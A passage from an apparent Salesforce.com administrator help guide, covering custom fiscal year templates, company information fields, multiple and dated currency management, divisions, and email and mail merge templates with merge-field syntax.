end of a year. The most common customization for this type of template is to create or change the length of a short
week.
3-3-3-4
Quarter 1 has 3 periods, quarter 2 has 3 periods, quarter 3 has 3 periods, and quarter 4 has 4 periods

81
Administration Setup Company Information

3-3-4-3
Quarter 1 has 3 periods, quarter 2 has 3 periods, quarter 3 has 4 periods, and quarter 4 has 3 periods

3-4-3-3
Quarter 1 has 3 periods, quarter 2 has 4 periods, quarter 3 has 3 periods, and quarter 4 has 3 periods

4-3-3-3
Quarter 1 has 4 periods, quarter 2 has 3 periods, quarter 3 has 3 periods, and quarter 4 has 3 periods

Gregorian Calendar
12 months/year, standard Gregorian calendar.
Unlike the other template styles, you cannot do advanced customization of a fiscal year that has been created from a
Gregorian calendar template. You should only use this template if you want to create a fiscal year that follows the
Gregorian calendar. This template mimics the functionality of standard fiscal years.

See Also:
Defining a Custom Fiscal Year
About Fiscal Years

Defining a Custom Fiscal Year


Available in: All Editions

User Permissions Needed


To view fiscal year: “View Setup and Configuration”
To change your fiscal year: “Customize Application”

Before defining a custom fiscal year, enable custom fiscal years for your organization. See Enabling Custom Fiscal Years on
page 75 for more information.
Enabling custom fiscal years does not automatically define them. You must define all of your company's custom fiscal years
so that they fit your company's calendar.
If you have defined a custom fiscal year and you need to change it, you can edit the existing fiscal year definition. Custom
fiscal years cannot be deleted. Instead of deleting an existing fiscal year, edit it until it meets your needs.
Before defining or editing any custom fiscal years, be aware of its impact on forecasting, reports, and other objects by reviewing
About Fiscal Years on page 76.

Defining a New Custom Fiscal Year


To define a new custom fiscal year:
1. Click Setup ➤ Company Profile ➤ Fiscal Year.

82
Administration Setup Company Information

2. Click New. The Custom Fiscal Year template dialog opens.


3. Choose a template and click Continue to close the Custom Fiscal Year template dialog. For more information on the
templates, see Choosing a Custom Fiscal Year Template on page 81.
4. Set the fiscal year start date, the fiscal year name, and choose the week start day. You can also add a description for the
fiscal year.
Note: If this is the first custom fiscal year you have defined, the Fiscal Year Start Date and the Week
Start Date are set to today's date and day of week. If you have already defined a custom fiscal year, they will be
set to the day after the last end date of your custom fiscal years.

If you need to make changes other than the start date, year name, or week start day, see Customizing the Fiscal Year
Structure on page 77.
5. Optionally, review the fiscal year definition by clicking on Preview.
If it is correct, close the preview and click Save to save your fiscal year, or Save & New to save your fiscal year and define
another fiscal year.

Editing a Custom Fiscal Year


To edit an existing custom fiscal year definition:
1. Click Setup ➤ Company Profile ➤ Fiscal Year.
2. Click a defined fiscal year name to review the details. Close the fiscal year preview to continue.
3. Click Edit for the fiscal year you want to edit.
4. Change the Fiscal Year Start Date, the Fiscal Year Name, Description, or Week Start Day.
If changing the Fiscal Year Start Date causes this fiscal year to overlap with the previous fiscal year, or if it creates
a gap between the fiscal years, the end date of the previous fiscal year will be changed to the day before the start of this
fiscal year.
If changing the end date will cause this fiscal year to overlap the next fiscal year, or if it creates a gap between the fiscal
years, the start date of the next fiscal year will be changed to the day after the end of this fiscal year.
Note: You cannot change the start or end date of a fiscal year that causes it to overlap with a fiscal year that is
defined using a Gregorian year template.

Caution: If you change the start or end date of any quarter, period, or week, all forecast data (including quotas,
forecast history, and forecast overrides) that are within that date range, and all forecasts for date ranges automatically
adjusted as a result of that change, will be lost. This includes end or start date changes resulting from inserting or
deleting periods.

5. Click Preview.
6. Review the fiscal year definition. If it is correct, close the preview and click Save to save your fiscal year. If you need to
make more detailed edits, see Customizing the Fiscal Year Structure on page 77.

83
Administration Setup Company Information

Note: Unless you specify them, the fiscal year period labels for forecasting and reporting will be set by the default
label values for the fiscal year periods. If you would like to change them, see Customizing the Fiscal Year Labels
on page 79.

See Also:
Setting the Fiscal Year
Choosing a Custom Fiscal Year Template
Additional Options for Updating Picklists
About Fiscal Years

Company Information Fields


The available fields vary according to which Salesforce.com Edition you have.

The Company Information page has the following fields (listed in alphabetical order), including the user and feature licenses
purchased for your organization.

Field Description
Active Salesforce.com Users Number of active Salesforce.com users for the organization.
Address Street address of the organization. Up to 255 characters are
allowed in this field.
Admin Newsletter Allow administrators in your organization to choose whether
they want to receive administrator-targeted promotional emails
from salesforce.com.
API Requests, Last 24 Hours The total number of API requests issued by the organization
in the last 24 hours. The maximum number of requests
depends on your Edition. For a list of request limits by
Edition, see Force.com API Usage Limits on page 1071. For
more information about API usage notification, see About
API Usage Notifications on page 373 or the Force.com Web
Services API Developer's Guide.
City City in which organization is located. Up to 40 characters are
allowed in this field.
Corporate Currency The currency in which the organization's corporate
headquarters reports revenue. Serves as the basis for all
currency conversion rates. Only for organizations that use
multiple currencies.
Country Country in which organization is located. Up to 40 characters
are allowed in this field.

84
Administration Setup Company Information

Field Description
Created By User who signed up the organization, including creation date
and time. (Read only)
Currency Locale The country or geographic region in which the organization
is located. The setting affects the format of currency amounts.
For single currency organizations only.
Default Language The default language that is selected for new users in the
organization. This setting determines the language used for
the user interface text and help. In all editions except Personal
Edition, individual users can separately set the language for
their own login, which will override the organization setting.
This setting also determines the language in which all
customizations—such as custom fields, tabs, and user interface
options—are stored. For customizations, individual users'
language settings do not override this setting.
In Group Edition, this field is called Display Language.

Default Locale The default country or geographic region that is selected for
new users in the organization. This setting determines the
format of dates, times, and names in Salesforce.com. In
Contact Manager, Group, Professional, Enterprise, Unlimited,
and Developer Edition organizations, individual users can set
their personal locale, which overrides the organization setting.
In Group Edition, this field is called Locale.

Default Time Zone Primary time zone in which the organization is located. A
user's individual Time Zone setting overrides the
organization's Default Time Zone setting.
Note: Organizations in Arizona should select “Mountain
Standard Time,” and organizations in parts of Indiana that
do not follow Daylight Savings Time should select “Eastern
Standard Time.”

Division Group or division that uses the service, for example, PC Sales
Group. Up to 40 characters are allowed in this field.
Fax Fax number. Up to 40 characters are allowed in this field.
Fiscal Year Starts In If using a standard fiscal year, the starting month and year for
the organization’s fiscal year. If using a custom fiscal year, the
value will be “Custom Fiscal Year.”
Hide Notices About System Downtime Select this checkbox to prevent advance notices about planned
system downtime from displaying to users when they log in
to Salesforce.com.

85
Administration Setup Company Information

Field Description
Hide Notices About System Maintenance Select this checkbox to prevent advance notices about planned
system maintenance from displaying to users when they log
in to Salesforce.com.
Modified By User who last changed the company information, including
modification date and time. (Read only)
Newsletter Allow users in your organization to choose whether they want
to receive user-targeted promotional emails from
salesforce.com.
Organization Name Name of the organization. Up to 80 characters are allowed in
this field.
Phone Main phone number at organization. Up to 40 characters are
allowed in this field.
Primary Contact Person who is main contact or administrator at the
organization. You can enter a name, or select a name from a
list of previously defined users. Up to 80 characters are allowed
in this field.
Salesforce.com Licenses Number of Salesforce.com user accounts that can be defined
for access to the service. This is the number of Salesforce.com
user licenses for which the organization is billed, if charges
apply.
Salesforce.com Organization ID Code that uniquely identifies your organization to
salesforce.com.
Restricted Logins, Current Month Number of restricted login users who have logged in during
the current month.
This value resets to zero at the beginning of each month. The
maximum number of restricted login users for the organization
is in parentheses.

State State or province in which organization is located. Up to 20


characters are allowed in this field.
Zip Zip or postal code of the organization. Up to 20 characters
are allowed in this field.
Used Data Space Amount of data storage in use; the value is expressed as a
measurement (for example, 500 MB) and as a percentage of
the total amount of data storage available (for example, 10%).

86
Administration Setup Managing Multiple Currencies

Field Description
Used File Space Amount of file storage in use; the value is expressed as a
measurement (for example, 500 MB) and as a percentage of
the total amount of file storage available (for example, 10%).

See Also:
Company Information

Managing Multiple Currencies


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view currencies: “View Setup and Configuration”
To change currencies: “Customize Application”

Your organization can set up the ability to use multiple currencies in opportunities, forecasts, reports, and other data. To set
up multiple currencies:

1. Contact salesforce.com to enable multiple currencies for your organization.


2. Designate your corporate currency. See Setting Corporate Currency on page 88.
3. Activate additional currencies for your organization. See Activating and Deactivating Currencies on page 89.
4. To use dated exchange rates, enable advanced currency management.
5. Set conversion rates for new currencies. See Editing Conversion Rates on page 90 and, if you have enabled advanced
currency management, Editing Dated Exchange Rates on page 93.

Using Multiple Currencies


International organizations can use multiple currencies in opportunities, forecasts, reports, and other currency fields. The
administrator sets the “corporate currency,” which reflects the currency of the corporate headquarters. The administrator also
maintains the list of active currencies and their conversion rates relative to the corporate currency. The active currencies
represent the countries in which the organization does business. Only active currencies can be used in currency amount fields.
Every user also has a personal currency, which is used as the default currency in his or her own quotas, forecasts, opportunities,
and reports. Users can also create opportunities and enter amounts using other active currencies.
Every lead, account, contact, opportunity, and case has a field that specifies the currency to use for all amount fields in that
record. For example, you can set the Account Currency to “USD-U.S. Dollars” so that the Annual Revenue shows in
dollars for one of your American accounts. All currency amounts are displayed in the default currency of the record as well as
in the personal currency of the user. When you change the default currency of a record, currency amounts are not converted;
they simply display with the new currency code.

87
Administration Setup Managing Multiple Currencies

Note: If your organization uses advanced currency management, the opportunity close date determines which conversion
rate to use when displaying currency amounts.

In forecasts, currency amounts are automatically converted to the user’s personal currency. For managers, their team’s
opportunities, forecasts, and other data is converted and rolled up to the manager’s personal currency. The manager can also
drill down to see the data in its native currency. All conversion and roll-ups happen automatically.
Amounts in reports are shown in their original currencies, but can be displayed in any active currency. You can change the
currency used for report totals by selecting a currency from the Display Currencies Using drop-down list on the Select Criteria
page of the report wizard. The default value for the drop-down is your personal currency. For any amount, you can also choose
to display the Converted column—for example, Annual Revenue Converted—which will show amounts in the currency
you select from the Display Currencies Using drop-down list.
Custom formula fields are not tied to any particular currency. If the result of a formula field is a currency amount, it displays
in the currency of the associated record. This is also true for cross-object formulas that reference merge fields with different
currencies, and formulas in workflow rules and approval processes. However, note that workflow rules and approval processes
that use filters instead of formulas convert all currency values to the corporate currency.
You cannot disable multiple currencies for your organization if the currency fields are referenced in an Apex script. For example,
if a script references the Account Currency field (represented as CurrencyIsoCode in the code), multiple currencies
cannot be disabled. For more information, see Force.com Apex Code Overview on page 964.

See Also:
Administrator setup guide: Using Multiple Currencies
Importing Multiple Currencies

Setting Corporate Currency


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view currencies: “View Setup and Configuration”
To change currencies: “Customize Application”

Your administrator must specify a Corporate Currency, which reflects the currency in which your corporate headquarters
reports revenue. A salesforce.com representative initially sets your corporate currency upon activation of the feature.
To change your corporate currency:

1. Click Setup ➤ Company Profile ➤ Manage Currencies.


2. Click Change Corporate.
3. Choose a new corporate currency from the list of active currencies, and click Save. If you have not yet set up any currencies,
see Activating and Deactivating Currencies on page 89.

88
Administration Setup Managing Multiple Currencies

The corporate currency is the currency on which all of your conversion rates are based.

See Also:
Managing Multiple Currencies
Editing Conversion Rates
About Advanced Currency Management
Administrator setup guide: Using Multiple Currencies

Activating and Deactivating Currencies


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view currencies: “View Setup and Configuration”
To change currencies: “Customize Application”

To use multiple currencies, your administrator must specify which currencies are supported for your organization.

• Active currencies—These represent countries in which your organization does business. Only active currencies can be
entered in opportunities, forecasts, and other items. Once you activate a currency, you can never permanently delete it.
• Inactive currencies—These are currencies that your organization no longer uses. You may have existing records that use
inactive currencies, but you cannot enter new amounts in inactive currencies.

To activate new currencies:

1. Click Setup ➤ Company Profile ➤ Manage Currencies.


2. Click New in the Active Currencies related list.
3. Select a currency. Currencies are alphabetized using their ISO currency code.
4. Enter the conversion rate relative to your corporate currency.
5. Specify the number of decimal places to show for amounts in this currency.
6. Click Save.

To activate a currency from the list of inactive currencies, click Activate next to the currency.
To deactivate a currency, click Deactivate next to the currency. Deactivating a currency does not alter amounts in items that
use that currency. However, you can no longer enter new amounts using the inactive currency.

89
Administration Setup Managing Multiple Currencies

Note: Deactivating a currency that is set as a user’s personal currency automatically resets the user’s currency to the
corporate currency.

See Also:
Managing Multiple Currencies
Setting Corporate Currency
Editing Conversion Rates
About Advanced Currency Management
Administrator setup guide: Using Multiple Currencies

Editing Conversion Rates


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view currencies: “View Setup and Configuration”
To change currencies: “Customize Application”

You can manage exchange rates between your active and inactive currencies and the corporate currency by editing the conversion
rates. These are static exchange rates that apply to all currency fields used in your organization. In addition to these conversion
rates, your organization may also use dated exchange rates for opportunities and opportunity products. For more information
about dated exchange rates, see About Advanced Currency Management on page 91.
To edit your organization's static conversion rates:

1. Click Setup ➤ Company Profile ➤ Manage Currencies.


2. If advanced currency management is enabled, click Manage Currencies.
3. Click Edit Rates in the Active Currencies or Inactive Currencies lists.
4. Enter the conversion rate between each currency and your corporate currency.
5. Click Save.

When you change the conversion rates, currency amounts are updated using the new rates. Previous conversion rates are not
stored. All conversions within opportunities, forecasts, and other amounts use the current conversion rate.
If your organization uses advanced currency management, you can also manage dated exchange rates for currency fields on
opportunities and opportunity products. To manage dated exchange rates, see Editing Dated Exchange Rates on page 93.

Notes on Changing Conversion Rates


• You cannot track revenue gain or loss based on currency fluctuations.

90
Administration Setup About Advanced Currency Management

• Changing conversion rates causes a mass recalculation of roll-up summary fields, which may take up to 30 minutes,
depending on the number of records affected and other factors.

See Also:
Managing Multiple Currencies
Setting Corporate Currency
Activating and Deactivating Currencies
Administrator setup guide: Using Multiple Currencies

About Advanced Currency Management


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable advanced currency management: “Customize Application”
To view currencies: “View Setup and Configuration”
To change currencies: “Customize Application”

Advanced Currency Management allows you to manage dated exchange rates within opportunities using Salesforce.com.
Dated exchange rates allow you to map a conversion rate to a specific date range. For example, the exchange rate on January
1 was 1 USD to 1.39 AUD, but on February 1, it changed to 1 USD to 1.42 AUD. Your opportunities that closed between
January 1 and February 1 use the first exchange rate (1 = 1.39), while opportunities that closed after February 1 used the second
exchange rate (1 = 1.42).
Dated exchange rates are defined using a start date and a conversion rate. Each rate is in effect until either the end of time or
the day before the next start date for that currency. The time between on start date and the next start date is called the exchange
rate date range. These ranges can be as small as a day and as large as all of time.
To enable or disable advanced currency management, see Enabling or Disabling Advanced Currency Management on page
92.
When advanced currency management is first enabled, your existing exchange rates automatically become the first set of dated
exchange rates. These rates will be valid for all time, until you define another set of exchange rates. For more information, see
Editing Dated Exchange Rates on page 93.
If you disable advanced currency management, all currency conversions will use the static conversion rate. See Editing Conversion
Rates on page 90.

Advanced Currency Management Considerations


• Dated exchange rates are used for opportunities, opportunity products, opportunity product schedules, campaign opportunity
fields, and reports related to these objects and fields. Dated exchange rates are not used in forecasting, currency fields in
other objects, or currency fields in other types of reports.
• If you enable advanced currency management, you cannot create roll-up summary fields that calculate currency on the
opportunity object. All existing currency-related roll-up summary fields on the opportunity object will be disabled and

91
Administration Setup About Advanced Currency Management

their values will no longer be calculated. If your organization enables advanced currency management, you should delete
any currency roll-up summary fields using opportunities and accounts or opportunities and custom objects.
• Campaign opportunity fields use dated exchange rates when calculating the amount in the campaign currency, but are not
used when converting those amounts to the user currency.
• Cross-object formulas always use the static conversion rate for currency conversion.
• If Advanced Currency Management is enabled, you can't bind Visualforce pages that use <apex:inputField> or
<apex:outputField> components to currency fields that support Advanced Currency Management.

See Also:
Managing Multiple Currencies
Setting Corporate Currency
Activating and Deactivating Currencies
Administrator setup guide: Using Multiple Currencies

Enabling or Disabling Advanced Currency Management


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable advanced currency management: “Customize Application”

To enable advanced currency management:

1. Enable multiple currencies for your organization. For more information, see Managing Multiple Currencies on page 87.
2. Click Setup ➤ Company Profile ➤ Manage Currencies.
3. Click Enable.
4. When prompted, select Yes, I want to enable Advanced Currency Management and click Enable.
When advanced currency management is first enabled, your existing exchange rates automatically become the first set of dated
exchange rates. These rates will be valid for all time, until you define another set of exchange rates.
To disable advanced currency management:

1. Click Setup ➤ Company Profile ➤ Manage Currencies.


2. Click Disable.
3. When prompted, select Yes, I want to disable Advanced Currency Management and click Disable.

If you disable advanced currency management, all currency conversions will use the static conversion rate. See Editing Conversion
Rates on page 90.

92
Administration Setup About Advanced Currency Management

When advanced currency management is enabled, Visualforce <apex:inputField> and <apex:outputField> components
cannot display currency fields.

See Also:
About Advanced Currency Management

Editing Dated Exchange Rates


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view currencies: “View Setup and Configuration”
To change currencies: “Customize Application”

To add new dated exchange rates:

1. Click Setup ➤ Company Profile ➤ Manage Currencies.


2. Click Manage Dated Exchange Rates.
3. Click New Exchange Rates.
4. Enter the date that the exchange rates go into effect.
5. Enter the exchange rates.
Note: The exchange rates will default to the current exchange rate. If you do not want to set a new exchange rate
for a currency, delete the exchange rate (leave the field blank).

6. Click Save to save the new dated exchange rates.

To view existing dated exchange rates:

1. Click Setup ➤ Company Profile ➤ Manage Currencies.


2. Click Manage Dated Exchange Rates.
3. Select the date range you want to view either by entering the date and clicking Go!, or by selecting Previous Range or
Next Range.

To delete a dated exchange rate for a particular currency:

1. Click Setup ➤ Company Profile ➤ Manage Currencies.


2. Click Manage Dated Exchange Rates.
3. Click the name of the currency you want to edit.
4. Click Del for the date range you want to delete.
If the date range you want is not displayed, enter it in the Show all rates with start dates between fields and
click Go!.

To edit your dated exchange rates for a particular currency:

93
Administration Setup Divisions Overview

1. Click Setup ➤ Company Profile ➤ Manage Currencies.


2. Click Manage Dated Exchange Rates.
3. Click the name of the currency you want to edit.
4. Click Edit for the date range you want to edit. If the date range you want is not displayed, enter it in the Show all
rates with start dates between fields and click Go!.
5. Edit the exchange rate, setting it to the new value for the date range, and click Save.

See Also:
About Advanced Currency Management
Managing Multiple Currencies
Setting Corporate Currency
Activating and Deactivating Currencies
Editing Conversion Rates
Administrator setup guide: Using Multiple Currencies

Divisions Overview
Available in: Professional, Enterprise, and Unlimited Editions

User Permissions Needed


To create or edit divisions: “Modify All Data”
To limit list views, searches, and reports by division: “Affected by Divisions”

Divisions let you segment your organization's data into logical sections, making searches, reports, and list views more meaningful
to users. For example, you can create a report to show the opportunities for just the North American division, allowing you
to get accurate sales numbers for the North American sales team. Divisions are useful for organizations with extremely large
amounts of data.
Note: Contact salesforce.com to enable divisions for your organization. Divisions do not restrict users’ access to data
and are not meant for security purposes.

See Also:
Overview of Divisions
Getting Started with Divisions
Creating and Editing Divisions
Transferring Divisions
Changing Your Working Division
Changing Your Default Division
Administrator tip sheet: Getting Started with Divisions

94
Administration Setup Divisions Overview

Overview of Divisions
Available in: Professional, Enterprise, and Unlimited Editions

User Permissions Needed


To create or edit divisions: “Modify All Data”
To limit list views, searches, and reports by division: “Affected by Divisions”

There are three basic aspects to divisions:

• Division on individual records—Division is a field on individual records which marks the record as belonging to a particular
division. A record can belong to a division that the administrator creates, or it can belong to the standard “global” division
which is created automatically when your organization enables divisions.
• Default division for a user—Users are assigned to a default division that applies to their newly created accounts, leads,
and custom objects that are enabled for divisions.
• Working division—If you have the “Affected by Divisions” permission, you set the division in which you want to work
using a drop-down list in the sidebar. Then, searches will show only the data for your working division. You can change
your working division at any time. If you do not have the “Affected by Divisions” permission, you do not have a working
division; you always see records in all divisions.

The following table shows how using divisions affects different areas:

Area Description
Search If you have the “Affected by Divisions” permission:
• In Sidebar Search, you can select a working division to
search, or you can search all divisions.
• In Advanced Search, you can perform an advanced search
on a working division or all divisions.
• For searches in lookup dialogs, the results include records
in the division you select from the drop-down list in the
lookup dialog window.

Note: All searches within a working division also


include the global division. For example, if you search
within a working division called Western Division,
your results will include records found in both the
Western Division and the global division.

If you do not have the “Affected by Divisions” permission,


your search results always include records in all divisions.

List views If you have the “Affected by Divisions” permission, list views
include only the records in the division you specify when
creating or editing the list view. List views that are not

95
Administration Setup Divisions Overview

Area Description
searching all records (such as My Open Cases) include records
in all divisions.
If you do not have the “Affected by Divisions” permission,
your list views always include records in all divisions.

Reports If you have the “Affected by Divisions” permission, you can


set your report options to include records in just one division
or all divisions. Reports that are already scoped (such as My
Cases or My team’s accounts) include records in all divisions,
and you cannot further limit them to a specific division.
If you do not have the “Affected by Divisions” permission,
your reports always include records in all divisions.

Viewing records and related lists When viewing the detail page of a record, the related lists
show all associated records to which you have access, regardless
of division.
Creating new records When you create new accounts, leads, or custom objects that
are enabled for divisions, the division is automatically set to
your default division, unless you override this setting.
When you create new records related to an account or other
record that already has a division, the new record is assigned
to the existing record’s division. For example, if you create a
custom object record that is on the detail side of a master-detail
relationship with a custom object that has divisions enabled,
it is assigned the master record's division.
When you create records that are not related to other records,
such as private opportunities or contacts not related to an
account, the division is automatically set to the global division.

Editing records When editing accounts, leads, or custom objects that are
enabled for divisions, you can change the division. All records
that are associated through a master-detail relationship are
automatically transferred to the new division as well. For
example, contacts and opportunities are transferred to the new
division of their associated account, and detail custom objects
are transferred to their master record's new division.
When editing other types of records, you cannot change the
division setting.

96
Administration Setup Divisions Overview

Area Description
Custom objects When you enable divisions for a custom object, Salesforce.com
initially assigns each record for that custom object to the global
division.
When you create a custom object record:

• If the custom object is enabled for divisions, the record


adopts your default division.
• If the custom object is on the detail side of a master-detail
relationship with a divisions-enabled custom object, it
adopts the division of the master record.

Relationships If you convert a lookup relationship to a master-detail


relationship, detail records lose their current division and
inherit the division of their master record.
If you convert a master-detail relationship to a lookup
relationship, the division for any detail records is determined
by the previous master record.
If you delete a master-detail relationship, the division for any
detail records is determined by the previous master record.

See Also:
Getting Started with Divisions
Administrator tip sheet: Getting Started with Divisions
Divisions Overview

Getting Started with Divisions


Available in: Professional, Enterprise, and Unlimited Editions

User Permissions Needed


To create or edit divisions: “Modify All Data”
To limit list views, searches, and reports by division: “Affected by Divisions”

The basic steps to begin using divisions are:

1. Contact salesforce.com to enable divisions for your organization.


When divisions are enabled, one global division is automatically created for your organization and all records are assigned
to that division by default. The default name for this division is “Global,” which you may customize if you wish.

97
Administration Setup Divisions Overview

2. Create divisions for your organization's data. See Creating and Editing Divisions on page 98.
Before creating divisions, plan which divisions you need based on how you want to segment your data. For example, you
may want one division for all of the records belonging to your North American sales team and one division for your
European sales team. You can create a maximum of 100 divisions, including any inactive ones.
3. For custom objects, select Enable Divisions on the custom object definition page to enable for divisions. See Defining
Custom Objects on page 765.
4. Transfer leads, accounts, and custom objects into relevant divisions. See Transferring Divisions on page 278.
Transferring records includes associated records. For example, when you transfer divisions for accounts, all records related
to a particular account, such as contacts and opportunities, inherit the division of that account.
5. Add division fields to page layouts, as appropriate.
6. Add divisions to field-level security, as appropriate.
7. Enable the “Affected by Divisions” permission for any standard or custom profiles whose users should be able to limit list
views, searches, and reports by division. Users without this permission still have a default division, can view division fields,
change the division for a record, and specify a division while creating records.
8. Set the default division for all users. See Transferring Divisions on page 278. See also Changing Your Default Division on
page 58 for information on changing divisions for one user at a time.
A user’s default division determines the division assigned to all new accounts and leads he or she creates, unless the user
explicitly sets a different division. When users create records related to an account or other record that already has a division,
the new record is assigned to the existing record’s division; the default division is not used.
Remember to set the default division for all users, even those without the “Affected by Divisions” permission. Records
created by users without that permission are still assigned to a division.
9. Instruct users how to set their working division for searches and reports. See Changing Your Working Division on page
1597.

See Also:
Overview of Divisions
Administrator tip sheet: Getting Started with Divisions
Divisions Overview

Creating and Editing Divisions


Available in: Professional, Enterprise, and Unlimited Editions

User Permissions Needed


To create or edit divisions: “Modify All Data”
To limit list views, searches, and reports by division: “Affected by Divisions”

To create and edit divisions:

1. Click Setup ➤ Company Profile ➤ Manage Divisions.

98
Administration Setup Managing Templates

2. Click New to create a division, or Edit to change an existing one.


3. Enter the division name.
4. Select the checkbox to make the division active, meaning that records and users can be assigned to this division.
You cannot make a division inactive if users or lead queues are assigned to that division.
5. Click Save.
Note: You can create a maximum of 100 divisions, including any inactive ones.

To change the order in which divisions appear in the Division picklist field, click the Sort button and use the arrows to order
the divisions.

See Also:
Divisions Overview
Overview of Divisions
Getting Started with Divisions
Administrator tip sheet: Getting Started with Divisions

Managing Templates
Available in: All Editions

Your administrator can create and maintain templates for defining letterheads, sending outbound email, and generating mail
merge documents.

• Letterheads define the look and feel of your HTML email templates. Your HTML email templates can inherit the logo,
color, and text settings from a letterhead.
• Email templates allow users to send email to contacts, leads, and others using predefined templates.
• Mail merge templates allow users to create custom documents using the information from your records. For example, you
can create a customized thank you letter to a specific lead.

See Also:
Creating Letterheads
Managing Email Templates
Managing Mail Merge Templates
Merge Fields Overview

99
Administration Setup Managing Templates

Merge Fields Overview


The available merge fields vary according to which Salesforce.com Edition you have.

You can use merge fields within custom formula fields, s-controls, custom links, custom buttons, Visualforce pages, and when
you create email or mail merge templates. Merge fields serve as placeholders for data that will be replaced with information
from your records, user information, or company information.

Guidelines for Using Merge Fields


• General merge field syntax guidelines:
The syntax for a merge field may differ, depending on where you are using it in Salesforce.com. To ensure that you are
using the correct syntax, select merge fields from the drop-down list in the editor where you are using the merge field.
Here are a few examples of syntax differences:
- When you insert the Account Number merge field in an email template, the syntax consists of an open curly brace and
exclamation point, followed by the type of record, a period, the field name and a closing curly brace:
{!Account.AccountNumber}.
- For formula fields and mail merge templates, the merge field is not enclosed in curly braces or preceded by an exclamation
point, nor is it preceded by the type of record, for example: AccountNumber.
- For custom objects, the field label is preceded with the type of record and all spaces are converted to underscores. For
example: {!Stockforce_CreatedDate} references the standard field called Created Date for the Stockforce
custom object.
- For formulas that allow you to reference fields on related objects across multiple relationships, the field name is prefixed
by the name of the relationship. For standard relationships, the name of the relationship is the master object. For
example, you can reference the account name merge field from a contact validation rule using Account.Name; you
can reference the phone number of the account creator from an opportunity product formula field using
Opportunity.Account.CreatedBy.Phone. For custom relationships, the name of the relationship is the Field
Name given when creating the relationship with “__r” appended to it. For example, reference the contact email merge
field from a custom object validation rule using the Contact__r.Email merge field name.
- If a custom field and standard field have the same name and you reference that name in a merge field, the merge field
displays the value of the custom field.

• Merge field guidelines for email templates and mail merge templates:
- In email templates, you can add substitute text to any merge field. Substitute text displays in a sent email if the merge
record does not contain data for that field. To add substitute text, place a comma after the field name and enter the
text before the closing bracket, for example: Dear {!Contact.FirstName, Sir or Madam}. When you save the
template, the merge field will appear in the email template with the following syntax: Dear
{!BLANKVALUE(Contact.FirstName, "Sir or Madam")}.
- For mail merge templates, your merge fields can contain only letters, numbers, and the underscore (_) character. For
example, Opportunity_Product_# is not allowed. Mail merge field names cannot exceed 40 characters.
- Templates with contact merge fields can be used to generate email and mail merge documents for leads. Likewise, you
can use lead templates to generate contact emails and documents.
Note: You can only use standard fields when generating email and mail merge documents for leads or contacts.

- For opportunity mail merges, you can use contact merge fields to merge additional information about a related contact.

100
Administration Setup Managing Templates

- If you have enabled Email-to-Case or On-Demand Email-to-Case, you can create email templates that support reps
can use to respond to case emails. These templates can include merge fields that display information from the original
email in the response. For details, see Setting Up Email-to-Case or On-Demand Email-to-Case on page 685 and
Managing Email Templates on page 109.
- Merge fields for products on opportunities are only available to organizations that have enabled products and can only
be used in mail merge templates, but not email templates.
- Approval process merge fields can be used in email templates, but not mail merge templates.
- If the email template you choose contains approval merge fields named {!ApprovalRequest.field_name}, these
fields will return values only when that email template is used as the approval assignment template. If you use the
template for any other email alert action—in either workflow rules or approval processes—the merge fields will return
a null value.
- In a multi-step approval process:
› Merge fields in the approval request email are set to the submitter's name and the name of the first step.
› When the request is approved, the merge fields update to the most recent approver's name and the name of the
second step.
› For subsequent actions, merge field values are updated based on the previous completed step.

- The merge fields {!Receiving_User.field_name} and {!Sending_User.field_name} work only in email


templates used for mass emails.
- Campaign and campaign member merge fields can be used in email templates, but not mail merge templates.
- Campaign member merge fields cannot be used with other types of merge fields in the same email template. For
example, if you create an email template using a campaign member merge field and you want to include the title of the
recipient, use {!CampaignMember.Title} instead of {!Lead.Title} or {!Contact.Title}.
- User fields are also known as Sending User fields for administrators and users with the “Manage Users” permission.
Use them in email templates when referencing the person sending the email.
- Administrators and users with the “Manage Users” permission can use Receiving User merge fields for email templates
to reference the recipient of the email.
- When account merge fields are included in an email template and this template is selected after a contact is added to
the email 'To' field, the Account merge fields are populated from the contact's account, not the case's account.
- To reference the name, email, phone, or company of the customer who submitted an online case, use the relevant
{!Case_OnlineCustomer...} field. To reference the contact or account associated with a case, use the relevant
contact or account merge fields.

• Additional merge field guidelines:


- A subset of user fields are available for customizing Self-Service pages.
- For local account, contact, and lead names, the standard merge field name will be used whenever the local name is
blank.
- If you are using the translation workbench to translate custom field names, users can look up merge fields in their
chosen language.
- If your organization uses person accounts, both business account and person account fields are available as account
merge fields. Account fields exclusive to person accounts, such as Birthdate, Email, and Title have “Account.Person”
in their merge field names. For example, {!Account.PersonBirthdate}. Furthermore, you can use the merge
field {!Account.IsPersonAccount} to determine whether you are working with a person account or a business
account. For more information, see What is a Person Account? on page 1125.
- Build cross-object formulas to span to related objects and reference merge fields on those objects.

101
Administration Setup Managing Mail Merge Templates

- Visualforce pages also can use merge fields. Anything inside {! } is evaluated as an expression that can access values
from records that are currently in context. For example, you can display the current user's first name by adding the
{!$User.FirstName} merge field to a page:

<apex:page>
Hello {!$User.FirstName}!
s</apex:page>

See Also:
Setting Custom Buttons and Links
Managing Mail Merge Templates
Understanding Global Variables

Managing Mail Merge Templates


Available in: All Editions

User Permissions Needed


To upload mail merge templates: “Manage Public Templates”
To edit mail merge templates: “Manage Public Templates”

Mail merge templates define the content of a form letter or other mail merge document. They include variables called merge
fields where data from your records—for example a contact's name and address—displays in the generated document.
As an administrator, you are responsible for building mail merge templates in Microsoft Word and uploading them to
Salesforce.com to make them available for your users. See the following topics:

• Creating New Mail Merge Templates on page 103 explains how to build a new mail merge template from a blank Word
document.
• Modifying Existing Mail Merge Templates on page 104 explains how to download sample templates and modify them to
meet your unique business needs.
• Uploading Mail Merge Templates to Salesforce.com on page 105 explains how to upload completed mail merge templates
to Salesforce.com.

Tip: Click the following link to download a Zip file of sample mail merge templates: mm_templates.zip

See Also:
Mail Merge Overview
Sending Single Mail Merge Documents

102
Administration Setup Managing Mail Merge Templates

Creating New Mail Merge Templates


Available in: All Editions

User Permissions Needed


